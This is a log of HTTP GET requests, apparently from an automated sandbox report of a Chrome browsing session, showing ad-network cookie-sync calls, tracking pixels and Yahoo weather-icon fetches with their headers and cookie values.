Source: global traffic	HTTP traffic detected: GET /pixel?google_nid=pubmatic&google_cm=&google_sc=&gdpr=0&gdpr_consent=&google_tc= HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUlCDusljJC9zb3Oa9XYbfCQkZ3JL7YH2g9T3_iu5VLlNxCSCmx5LU9S1K3N4lo
Source: global traffic	HTTP traffic detected: GET /ML/5c6e9ed3983c6bd791d9acf6b1bb037a__scv1__300x175.png HTTP/1.1Host: images.mediago.ioConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://b3aaf5e8612f3b3eae937ce202b533b1.safeframe.googlesyndication.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cksync.php?cs=8&vsid=3479308330180239000V10&type=son&refUrl=&vid=49292354493479308330180239000V10&axid_e=&ovsid=34d855fd-fbdc-4f5b-9260-4fff223b8b66 HTTP/1.1Host: contextual.media.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://contextual.media.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: visitor-id=3479308330180239000V10; usp_status=1; data-rk=968062845637553879~~8
Source: global traffic	HTTP traffic detected: GET /cksync.php?cs=1&type=crt&ovsid=94a96463-4da4-468a-ab35-7f2fcadb375f&gdpr=0&gdpr_consent=&us_privacy=&gpp= HTTP/1.1Host: contextual.media.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://contextual.media.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: visitor-id=3479308330180239000V10; usp_status=1; data-rk=968062845637553879~~8
Source: global traffic	HTTP traffic detected: GET /pixel?a=0&gdpr=0&gdpr_consent=&gpp_sid=&gpp=&redir=https%3A%2F%2Fhb.yahoo.net%2Fcksync.php%3Fcs%3D1%26type%3Dsov%26ovsid%3D%24UID%26axid_e%3D&sovrn_retry=true HTTP/1.1Host: ap.lijit.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://hb.yahoo.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ljt_reader=H-G_bLZHIhhIpR6ZTj2OFYm3
Source: global traffic	HTTP traffic detected: GET /usersync2/rmp1r1?sub=medianet&zcc=1&redir=https%3A%2F%2Fcontextual.media.net%2Fcksync.php%3Fcs%3D8%26vsid%3D3479308330180239000V10%26type%3Dr1%26refUrl%3D%26vid%3D49292354493479308330180239000V10%26axid_e%3D%26ovsid%3D%5BRX_UUID%5D&cb=1704929237315 HTTP/1.1Host: sync.1rx.ioConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://contextual.media.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: _rxuuid=%7B%22rx_uuid%22%3A%22RX-3aca3d50-8994-4e16-b777-d0ebcb44b35f-005%22%2C%22zdxidn%22%3A%222057.4%22%2C%22nxtrdr%22%3A%22https%3A%2F%2Fcontextual.media.net%2Fcksync.php%3Fcs%3D8%26vsid%3D3479308330180239000V10%26type%3Dr1%26refUrl%3D%26vid%3D49292354493479308330180239000V10%26axid_e%3D%26ovsid%3D%5BRX_UUID%5D%22%7D
Source: global traffic	HTTP traffic detected: GET /cksync.php?cs=1&vsid=3479308310180275000V10&type=son&refUrl=&vid=49292349683479308310180275000V10&ovsid=34d855fd-fbdc-4f5b-9260-4fff223b8b66&axid_e= HTTP/1.1Host: hb.yahoo.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://hb.yahoo.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: visitor-id=3479308310180275000V10; data-mag=LR8EUG12-1F-5JG4~~1; data-mn=3479308330180239000V10~~1; usp_status=1; data-ttd=bd6a219c-2538-477b-90ee-6d20c7860c4b~~1; data-zta=968062845637553879~~63
Source: global traffic	HTTP traffic detected: GET /rrum?ixi=1&cm_dsp_id=85&cb=https%3A%2F%2Fcm.g.doubleclick.net%2Fpixel%3Fgoogle_nid%3Dcasale_media2_dbm%26google_cm%26google_sc%26google_hm%3D HTTP/1.1Host: dsum-sec.casalemedia.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ssum-sec.casalemedia.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: receive-cookie-deprecation=1; CMID=ZZ8n1IPpYMLwQL-F1CLawgAA; CMPS=253; CMPRO=253
Source: global traffic	HTTP traffic detected: GET /ul_cb/sync?ssp=medianet&gdpr=0&gdpr_consent=&gdpr_pd=1 HTTP/1.1Host: x.bidswitch.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://contextual.media.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: tuuid=f6435827-796b-4521-81e9-11e581628f69; c=1704929237; tuuid_lu=1704929237
Source: global traffic	HTTP traffic detected: GET /track/cmf/generic?ttd_pid=tapad&ttd_tpi=1&ttd_puid=d16e3823-cacb-438f-9bfc-c2bc8c823251%252C%252C&gdpr=0&gdpr_consent= HTTP/1.1Host: match.adsrvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=bd6a219c-2538-477b-90ee-6d20c7860c4b; TDCPM=CAESGQoKcmlnaHRtZWRpYRILCMi1yYC3j8k8EAUSFwoIcHVibWF0aWMSCwj6v-ryto_JPBAFGAEgAigCMgsIqLbtn82PyTwQBTgBWghwdWJtYXRpY2AC
Source: global traffic	HTTP traffic detected: GET /pm_match?https://dsum-sec.casalemedia.com/crum?cm_dsp_id=90&external_user_id=$UID HTTP/1.1Host: um.simpli.fiConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ssum-sec.casalemedia.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: suid=A342B32A0BAA4852AA53FE42CB7195F6
Source: global traffic	HTTP traffic detected: GET /dy/ads/gemini.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /usersync/medianet/?cb=https%3A%2F%2Fcontextual.media.net%2Fcksync.php%3Fcs%3D1%26type%3Dzem%26ovsid%3D__ZUID__&puid=%24%7BVSID%7D&s=2 HTTP/1.1Host: b1sync.zemanta.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://contextual.media.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: zuid=v79p4FQcaoSFEzqKnYP-
Source: global traffic	HTTP traffic detected: GET /cv/apiv2/weather-svg/RAIN_AND_SNOW.svg HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cv/apiv2/weather-svg/PARTLY_CLOUDY_DAY.svg HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cv/apiv2/weather-svg/SHOWERS.svg HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sync?ssp=criteo&custom_data=QlAo019tRTNxWDVXWFQxbDFBOUZMYmFuOVh2Zk5JNiUyQnVxUWx5dCUyQnBRbW5qRVlEZWdCSnE0eUpKMVdJRlNNaHRWV1o2eFh3bGVpWHNOOE1GWGlvUjB3RnNES0ZNSUJRN2k0JTJCUG8zOE9YekU3VWpNRktVckMyWGlzc0hRMmtBRHFUZ2U5VW9BWVRBUVdlRFlUVm81QWlXVTZzMlhBJTJGOUJBWldSTW1TdWFmMmVkRE95QVMzTGclMkZWU040cTFEUWl6TiUyQnNXQU0&gdpr=&gdpr_consent=&us_privacy=&cr_user_id=k-xUr8NO1oxBdmU1nhVf4H-RCrhtpCMTHE-jBgFg HTTP/1.1Host: x.bidswitch.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://hb.yahoo.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: tuuid=f6435827-796b-4521-81e9-11e581628f69; c=1704929237; tuuid_lu=1704929237
Source: global traffic	HTTP traffic detected: GET /cksync.html?cs=1&vsid=3479308310180275000V10&type=tlt&refUrl=&vid=49292349683479308310180275000V10&ovsid=3631141743957125218505&axid_e= HTTP/1.1Host: hb.yahoo.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://hb.yahoo.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: visitor-id=3479308310180275000V10; data-mag=LR8EUG12-1F-5JG4~~1; data-mn=3479308330180239000V10~~1; usp_status=1; data-ttd=bd6a219c-2538-477b-90ee-6d20c7860c4b~~1; data-zta=968062845637553879~~63
Source: global traffic	HTTP traffic detected: GET /pixel?google_nid=index&google_cm&google_hm=ZZ8n1IPpYMLwQL_F1CLawgAAAP0AAAIB&gdpr_consent=&us_privacy=&gdpr=&gpp=&gpp_sid= HTTP/1.1Host: cm.g.doubleclick.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ssum-sec.casalemedia.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUlCDusljJC9zb3Oa9XYbfCQkZ3JL7YH2g9T3_iu5VLlNxCSCmx5LU9S1K3N4lo
Source: global traffic	HTTP traffic detected: GET /api/v2/template?spaceid=2023538075&adPositions=MAST&pageContext=%7B%22bucket%22%3A%5B%22drop_heimdall_homepage_control_bucket%22%2C%22MimicProviderListv2-copy%22%2C%22seamless%22%5D%2C%22lu%22%3A%220%22%2C%22pt%22%3A%22home%22%2C%22site%22%3A%22fp%22%7D HTTP/1.1Host: nts.media.yahoo.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&dv360=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ydsp=y-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A; tbla_id=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51; __gpi=UID=00000db622e915a6:T=1704929235:RT=1704929235:S=ALNI_MY_tixDbe1OsecCZB9Ceu1DyK0X0w
Source: global traffic	HTTP traffic detected: GET /cksync.php?cs=8&vsid=3479308330180239000V10&type=dxu&refUrl=&vid=49292354493479308330180239000V10&axid_e=&ovsid=Rw6Yt2Jl1RnHYF5 HTTP/1.1Host: contextual.media.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://contextual.media.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: visitor-id=3479308330180239000V10; usp_status=1; data-rk=968062845637553879~~8; data-g=CAESEE-LbdqTsHKcksq6UKuBoDI~~8
Source: global traffic	HTTP traffic detected: GET /dcm?pid=78af914c-e755-4b90-bded-1b172aedc763&us_privacy=&gdpr=&gdpr_consent=&id=ZZ8n1IPpYMLwQL_F1CLawgAAAP0AAAIB&gpp=&gpp_sid= HTTP/1.1Host: s.amazon-adsystem.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ssum-sec.casalemedia.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: ad-id=AyjwvOXOUEBhiwCbt7I0SGw; ad-privacy=0
Source: global traffic	HTTP traffic detected: GET /w/1.0/cm?cc=1&id=78e2dffc-bb89-4bb2-ae92-f592d006518b&ph=6a16560a-f6c6-4851-b7b5-0b2c0190166a&r=https%3A%2F%2Fcontextual.media.net%2Fcksync.html%3Fcs%3D8%26vsid%3D3479308330180239000V10%26type%3Dopx%26refUrl%3D%26vid%3D49292354493479308330180239000V10%26axid_e%3D%26ovsid%3D HTTP/1.1Host: us-u.openx.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://contextual.media.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: i=adf1d594-3006-0faa-26e7-7fcb0b6d0f69\|1704929237
Source: global traffic	HTTP traffic detected: GET /cv/apiv2/weather-svg/CLOUDY.svg HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZqcz0xJmNvZGU9MzI1MCZ0bD0xMjk2MDA=&piggybackCookie=41161a4c-fb0e-4073-8161-2fb10dec6a95&gdpr=0&gdpr_consent= HTTP/1.1Host: simage2.pubmatic.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ads.pubmatic.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; chkChromeAb67Sec=1; pi=0:2; DPSync3=1704931200%3A248%7C1705449600%3A265%7C1706054400%3A201_263; SyncRTB3=1705449600%3A223%7C1706054400%3A104_54_250_71_165_166_220_21_13; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; SPugT=1704929238; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; PugT=1704929238; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6
Source: global traffic	HTTP traffic detected: GET /cksync.php?cs=1&vsid=3479308310180275000V10&type=opx&refUrl=&vid=49292349683479308310180275000V10&axid_e=&ovsid=50996944-41eb-0a14-2f16-7629f8e9c8fd HTTP/1.1Host: hb.yahoo.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://hb.yahoo.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: visitor-id=3479308310180275000V10; data-mag=LR8EUG12-1F-5JG4~~1; data-mn=3479308330180239000V10~~1; usp_status=1; data-ttd=bd6a219c-2538-477b-90ee-6d20c7860c4b~~1; data-zta=968062845637553879~~63
Source: global traffic	HTTP traffic detected: GET /pagead/js/car.js HTTP/1.1Host: securepubads.g.doubleclick.netConnection: keep-aliveAccept: application/javascriptSec-Fetch-Site: same-originSec-Fetch-Mode: same-originSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: IDE=AHWqTUlCDusljJC9zb3Oa9XYbfCQkZ3JL7YH2g9T3_iu5VLlNxCSCmx5LU9S1K3N4lo
Source: global traffic	HTTP traffic detected: GET /bounce?%2Fgetuid%3Fhttps%253A%252F%252Fhb.yahoo.net%252Fcksync.php%253Fcs%253D1%2526type%253Dapx%2526ovsid%253D%2524UID%2526axid_e%253D HTTP/1.1Host: ib.adnxs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://hb.yahoo.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XANDR_PANID=4e2zV2fQ_fpCKGjngeQMMSEZNweIg3T1qoOmSytBsZ19wNJldA-7xiAGuIc_X_Mg5NwzCAyJ0HHlBT7gOR-ypIQ-uexsSN0_F_1wLSWvek0.; uuid2=7367141199740274687
Source: global traffic	HTTP traffic detected: GET /cksync.php?cs=1&type=55953&ovsid=bd6a219c-2538-477b-90ee-6d20c7860c4b&_origin=0&gdpr=0&gdpr_consent=&redir=true HTTP/1.1Host: hb.yahoo.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://hb.yahoo.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: visitor-id=3479308310180275000V10; data-mag=LR8EUG12-1F-5JG4~~1; data-mn=3479308330180239000V10~~1; usp_status=1; data-ttd=bd6a219c-2538-477b-90ee-6d20c7860c4b~~1; data-zta=968062845637553879~~63
